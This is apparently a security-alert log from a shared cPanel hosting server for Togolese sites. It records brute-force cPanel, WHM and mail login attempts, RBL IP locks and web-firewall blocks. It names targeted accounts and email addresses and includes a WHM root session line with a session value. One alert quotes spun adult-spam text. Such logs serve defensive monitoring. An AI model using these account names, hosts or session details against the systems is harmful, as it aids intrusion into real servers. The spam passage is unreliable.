[2026-06-13 17:39:05 +0000] info [cpaneld] 45.44.197.37 - tresorerie "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tresorerie (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 176.37.224.246
country_id: 690791
description:
176.37.224.246 - - [13/Jun/2026:17:41:08 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12950633&pdata=https%253A%252F%252Fwebmail.stephane.free.netmaster.tg%252F%253Flocale%253Dro&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781372466 HTTP/2.0" 302 0 webmail.stephane.free.netmaster.tg "https://webmail.stephane.free.netmaster.tg/?locale=ro" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:176.37.224.246


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.61.130.187
country_id: 6252001
description:
[2026-06-13 17:40:44 +0000] info [cpaneld] 45.61.130.187 - pharma "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user pharma (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.127.4.76
country_id: 1210997
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/uploads/images/46.jpeg HTTP/1.1||RSV:8.16||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.236
country_id: 130758
description:
Jun 13 17:41:27 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.236 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.236
country_id: 130758
description:
2026-06-13 17:41:29 dovecot_login authenticator failed for H=(localhost) [81.30.98.236]:58060: 535 Incorrect authentication data (set_id=hdfstest)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 146.70.231.130
country_id: 2017370
description:
[2026-06-13 17:41:37 +0000] info [cpaneld] 146.70.231.130 - e.sanvee "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user e.sanvee (has_cpuser_file failed)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 213.32.21.59
country_id: 3017382
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:17-41.213.32.21.59||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 89.221.206.70
country_id: 2017370
domain: direct7.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:17-41.89.221.206.70||RSV:8.16||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 176.65.148.160
country_id: 2750405
description:
[2026-06-13 17:43:13 +0000] info [whostmgrd] 176.65.148.160 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 146.70.231.130
country_id: 2017370
description:
[2026-06-13 17:42:39 +0000] info [cpaneld] 146.70.231.130 - trgtsjot "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user trgtsjot (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 176.65.148.160
country_id: 2750405
description:
[2026-06-13 17:43:36 +0000] info [whostmgrd] 176.65.148.160 - root "GET /cpsess8983379995/json-api/version HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 200.196.143.252
country_id: 3469034
description:
Jun 13 17:43:53 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 200.196.143.252 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 176.65.148.160
country_id: 2750405
description:
[2026-06-13 17:43:17 +0000] info [whostmgrd] 176.65.148.160 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 68.183.43.38
country_id: 2635167
description:
Jun 13 17:45:11 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 68.183.43.38 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.125.4.254
country_id: 798544
description:
Jun 13 17:46:59 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.125.4.254 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 102.64.129.228
country_id: 2363686
description:
102.64.129.228 - - [13/Jun/2026:17:47:21 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9934489&pdata=https%253A%252F%252Ftdn.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781372840 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_7_12 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6.1 Mobile/15E148 Safari/604.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:102.64.129.228


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.70
country_id: 130758
description:
Jun 13 17:48:12 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.70 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.8.251.126
country_id: 3469034
description:
Jun 13 17:49:05 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.8.251.126 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.8.251.126
country_id: 3469034
description:
Jun 13 17:49:19 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.8.251.126 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 27.3.9.179
country_id: 1562822
domain: letabloid.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/letabloid.tghttp/letabloid.tg/10-mesures-sociales-de-faure-une-manoeuvre-destinee-a-desamorcer-des-revendications-syndicales-et-retarder-une-explosion-sociale-pour-la-dmk/ HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 27.3.9.179
country_id: 1562822
domain: letabloid.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/letabloid.tg/10-mesures-sociales-de-faure-une-manoeuvre-destinee-a-desamorcer-des-revendications-syndicales-et-retarder-une-explosion-sociale-pour-la-dmk/ HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 213.32.21.59
country_id: 3017382
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:17-54.213.32.21.59||RSV:8.16||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 68.178.161.20
country_id: 6252001
description:
Jun 13 17:56:37 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 68.178.161.20 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.132.193
country_id: 3469034
description:
Jun 13 17:58:18 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.132.193 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.94.203.35
country_id: 3469034
description:
Jun 13 17:59:15 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.94.203.35 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.94.203.35
country_id: 3469034
description:
Jun 13 17:59:23 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.94.203.35 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.172.128.74
country_id: 3932488
description:
[2026-06-13 18:00:17 +0000] info [cpaneld] 38.172.128.74 - educplusmedi "GET /login/?login_only=1&user=educplusmedi&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user educplusmedi (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 187.110.208.167
country_id: 3469034
description:
[2026-06-13 18:00:04 +0000] info [cpaneld] 187.110.208.167 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.114.41.121
country_id: 3895114
description:
[2026-06-13 18:00:08 +0000] info [cpaneld] 190.114.41.121 - educplusmedia "GET /login/?login_only=1&user=educplusmedia&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user educplusmedia (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 46.8.60.81
country_id: 2017370
description:
[2026-06-13 18:00:39 +0000] info [cpaneld] 46.8.60.81 - educ "GET /login/?login_only=1&user=educ&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user educ (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 179.36.60.75
country_id: 3865483
description:
[2026-06-13 18:00:44 +0000] info [cpaneld] 179.36.60.75 - edu "GET /login/?login_only=1&user=edu&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user edu (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 78.169.211.106
country_id: 298795
description:
[2026-06-13 18:00:23 +0000] info [cpaneld] 78.169.211.106 - educplusm "GET /login/?login_only=1&user=educplusm&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user educplusm (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 118.173.235.89
country_id: 1605651
description:
[2026-06-13 18:00:31 +0000] info [cpaneld] 118.173.235.89 - educpl "GET /login/?login_only=1&user=educpl&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user educpl (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.224.118.94
country_id: 3658394
description:
[2026-06-13 18:00:28 +0000] info [cpaneld] 45.224.118.94 - educplu "GET /login/?login_only=1&user=educplu&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user educplu (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.50
country_id: 3469034
description:
Jun 13 18:01:45 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.50 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.236
country_id: 130758
description:
Jun 13 18:05:04 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.236 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.236
country_id: 130758
description:
2026-06-13 18:05:06 dovecot_login authenticator failed for H=(localhost) [81.30.98.236]:51691: 535 Incorrect authentication data (set_id=terraformtest)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.122.97.66
country_id: 3996063
description:
Jun 13 18:05:38 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.122.97.66 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 175.145.175.174
country_id: 1733045
description:
175.145.175.174 - - [13/Jun/2026:18:06:51 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6658715&pdata=https%253A%252F%252Ftogodailynews.tg%252F1er-mai-la-presidence-du-conseil-celebre-ses-agents%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781374009 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/1er-mai-la-presidence-du-conseil-celebre-ses-agents/" "Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.9998.1579 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:175.145.175.174


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 78.137.231.227
country_id: 2264397
domain: arse.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:60887.arse.tg||ServerName:arse.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:7f1c1c192e9bf36769506164e6c864b87d13a94f||Title:0xf8624616||RSV:8.16||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 72.195.34.58
country_id: 6252001
description:
Jun 13 18:07:48 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 72.195.34.58 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.188.230.81
country_id: 298795
description:
2026-06-13 18:11:14 dovecot_plain authenticator failed for H=(se6002uasdhz25k102ft75u73f1ql3ov) [78.188.230.81]:65340: 535 Incorrect authentication data (set_id=sergdev@dgdn-togo.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.195.24.147
country_id: 1269750
description:
Jun 13 18:12:26 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.195.24.147 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.210.147.41
country_id: 1819730
description:
Jun 13 18:13:54 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.210.147.41 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 112.215.152.86
country_id: 1643084
description:
112.215.152.86 - - [13/Jun/2026:18:16:51 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10077331&pdata=https%253A%252F%252Fdankpen1.mairie.tg%252Fcommuniques%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781374609 HTTP/2.0" 302 0 dankpen1.mairie.tg "https://dankpen1.mairie.tg/communiques/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:112.215.152.86


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 146.190.154.100
country_id: 6252001
description:
Jun 13 18:18:51 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 146.190.154.100 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.195.24.147
country_id: 1269750
description:
Jun 13 18:19:22 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.195.24.147 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 154.193.14.98
country_id: 241170
domain: snbt-togocom.snb.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/snbt-togocom.snb.tg/uploads/images/557.jpg HTTP/1.1||RSV:8.16||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.183.92.113
country_id: 3469034
description:
Jun 13 18:21:33 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.183.92.113 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 35.170.69.145
country_id: 6252001
description:
[2026-06-13 18:25:16 +0000] info [cpaneld] 35.170.69.145 - wifizoneuser "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user wifizoneuser (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 66.80.96.111
country_id: 6252001
domain: www.sthandling-aero.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.sthandling-aero.tg/img-sys/server_moved.png HTTP/1.1||RSV:8.16||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.195.24.147
country_id: 1269750
description:
Jun 13 18:27:38 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.195.24.147 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 203.145.35.101
country_id: 1643084
description:
[2026-06-13 18:28:06 +0000] info [cpaneld] 203.145.35.101 - whmcsadmin "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user whmcsadmin (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.236
country_id: 130758
description:
2026-06-13 18:31:57 dovecot_login authenticator failed for H=(localhost) [81.30.98.236]:51015: 535 Incorrect authentication data (set_id=devfedora)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.236
country_id: 130758
description:
Jun 13 18:31:55 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.236 has been locked due to Imunify RBL


plugin: ossec
rule: 11009
name: WHM login success
abuser: 196.168.129.99
country_id: 2363686
description:
[2026-06-13 18:33:11 +0000] info [whostmgrd] 196.168.129.99 NEW root:RelLhq1U3O8SItWe address=196.168.129.99,app=whostmgrd,creator=root,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.70
country_id: 130758
description:
Jun 13 18:34:16 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.70 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.195.24.147
country_id: 1269750
description:
Jun 13 18:34:36 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.195.24.147 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 154.197.20.189
country_id: 241170
domain: snbt-togocom.snb.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/snbt-togocom.snb.tg/uploads/images/573.jpg HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 209.58.157.70
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:18-37.209.58.157.70||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 196.243.240.64
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:18-37.196.243.240.64||RSV:8.16||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.220.100.252
country_id: 2921044
description:
Jun 13 18:38:08 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.220.100.252 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.220.100.252
country_id: 2921044
description:
2026-06-13 18:38:10 dovecot_plain authenticator failed for H=tor-exit-1.zbau.f3netze.de (y5bp0m1vspp5q8g36k6jnh2dgnj8g) [185.220.100.252]:53154: 535 Incorrect authentication data (set_id=mointie.konlambigue@emt.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 179.40.47.219
country_id: 3865483
description:
179.40.47.219 - - [13/Jun/2026:18:38:52 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7444170&pdata=https%253A%252F%252F24heureinfo.tg%252Ftag%252Fcedeao%252Fpage%252F6%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781375930 HTTP/2.0" 302 0 24heureinfo.tg "https://24heureinfo.tg/tag/cedeao/page/6/" "Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.8254.1589 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:179.40.47.219


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 92.240.206.140
country_id: 3703430
description:
[2026-06-13 18:41:22 +0000] info [cpaneld] 92.240.206.140 - BEWELL "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user BEWELL (has_cpuser_file failed)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 77.243.90.12
country_id: 241170
domain: www.letabloid.tg
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS_NAMES:gt;If the locate gives you an pick to polarity up, comment, favorite, save, interact with early users, hash out on forums, and more, it gets a amend superior. But more or less members of the younger generations power be questioning what pics could maybe experience concluded videos. Let\\xe2\\x80\\x99s exactly tell that a painting fundament talk more than than a thou actor's line (even out if those dustup would credibly be moans). The websites we deliver elect stick out KO'd both in damage of their popularity and functionality, as they propose a overplus of categories to live up to any legal kink you pot guess of. Separate from customizing your aspiration girlfriend, you tail too prove the premade characters and ensure if you\\xe2\\x80\\x99ll strike a family unravel without the provoke of creating a spouse from mark. You hind end likewise search a bigger fiber puddle and revel quicker responses by purchasing a .99/calendar month agio rank. You bathroom squawk things remove directly later on landing on the situation with whatever of the premade characters useable. Alternatively, you posterior too create your daydream sexting collaborator to convulsion your tastes and preferences\\xe2\\x80\\x94and I think every phantasy or play scenario you wish.||MV:gt;If the locate gives you an pick to polarity up, comment, favorite, save, interact with early users, hash out on forums, and more, it gets a amend superior. But more or less members of the younger generations power be questioning what pics could maybe experience concluded videos. Let%u2019s exactly tell that a painting fundament talk more than than a thou actor's line (even out if those dustup would credibly be moans). The websites we deliver elect stick out KO'd both in damage of their popularity and functionality, as they propose a overplus of categories to live up to any legal kink you pot guess of. Separate from customizing your aspiration girlfriend, you tail too prove the premade characters and ensure if you%u2019ll strike a family unravel without the provoke of creating a spouse from mark. You hind end likewise search a bigger fiber puddle and revel quicker responses by purchasing a .99/calendar month agio rank. You bathroom squawk things remove directly later on landing on the situation with whatever of the premade characters useable. Alternatively, you posterior too create your daydream sexting collaborator to convulsion your tastes and preferences%u2014and I think every phantasy or play scenario you wish.||RSV:8.16||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 160.177.33.222
country_id: 2542007
description:
160.177.33.222 - - [13/Jun/2026:18:41:44 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13210260&pdata=https%253A%252F%252Ftogodailynews.tg%252Fmpoti-blitta-le-cacao-togolais-vise-les-marches-premium%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781376102 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/mpoti-blitta-le-cacao-togolais-vise-les-marches-premium/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.6756.1635 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:160.177.33.222


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.195.24.147
country_id: 1269750
description:
Jun 13 18:42:50 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.195.24.147 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 163.245.210.197
country_id: 6252001
domain: haplucia-togo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.16||T:APACHE||RA:163.245.210.197||TA:163.245.210.197||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.117.32.22
country_id: 2017370
description:
2026-06-13 18:46:13 dovecot_login authenticator failed for H=(nsg-static-82.71.76.182-airtel.com) [87.117.32.22]:53584: 535 Incorrect authentication data (set_id=felix.barigao@arse.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-13 18:46:36 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:60396: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 161.123.65.215
country_id: 3175395
domain: vitrinenews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.16||T:APACHE||RA:161.123.65.215||TA:161.123.65.215||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 58.47.137.190
country_id: 1814991
description:
Jun 13 18:49:00 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 58.47.137.190 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.47.137.190
country_id: 1814991
description:
2026-06-13 18:49:02 dovecot_login authenticator failed for H=([49.124.153.45]) [58.47.137.190]:58389: 535 Incorrect authentication data (set_id=wages@wages.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.195.24.147
country_id: 1269750
description:
Jun 13 18:49:46 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.195.24.147 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 178.163.16.77
country_id: 2017370
description:
2026-06-13 18:51:11 H=([178.163.16.77]) [178.163.16.77]:49682 F=<John@4452.com> rejected RCPT <info@cndh-togo.org>: Sender verify failed


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 157.48.225.143
country_id: 1269750
domain: bawasongroup.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:53557.bawasongroup.com||ServerName:bawasongroup.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:7a701619187e64f856978a94f15a3415cda31e1b||Title:0xeb70d939||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 157.48.225.143
country_id: 1269750
domain: bawasongroup.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:40412.bawasongroup.com||ServerName:bawasongroup.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:511ef4219b3d6d1ddb682d1e42c2b79d298227f3||Title:0x0512f80b||RSV:8.16||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 192.42.116.65
country_id: 2750405
description:
192.42.116.65 - cietg [13/Jun/2026:18:53:42 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6460522&pdata=https%253A%252F%252Fc2ie.tg%253A2083%252Fexecute%252FDomainInfo%252Fdomains_data&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781376821 HTTP/2.0" 302 0 c2ie.tg "https://c2ie.tg:2083/execute/DomainInfo/domains_data" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:192.42.116.65


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 192.42.116.65
country_id: 2750405
description:
[2026-06-13 18:53:55 +0000] info [cpaneld] 192.42.116.65 - egjvuiox "GET /execute/DomainInfo/domains_data HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 192.42.116.65
country_id: 2750405
description:
[2026-06-13 18:54:25 +0000] info [cpaneld] 192.42.116.65 - egjvuiox "GET /execute/DomainInfo/domains_data HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
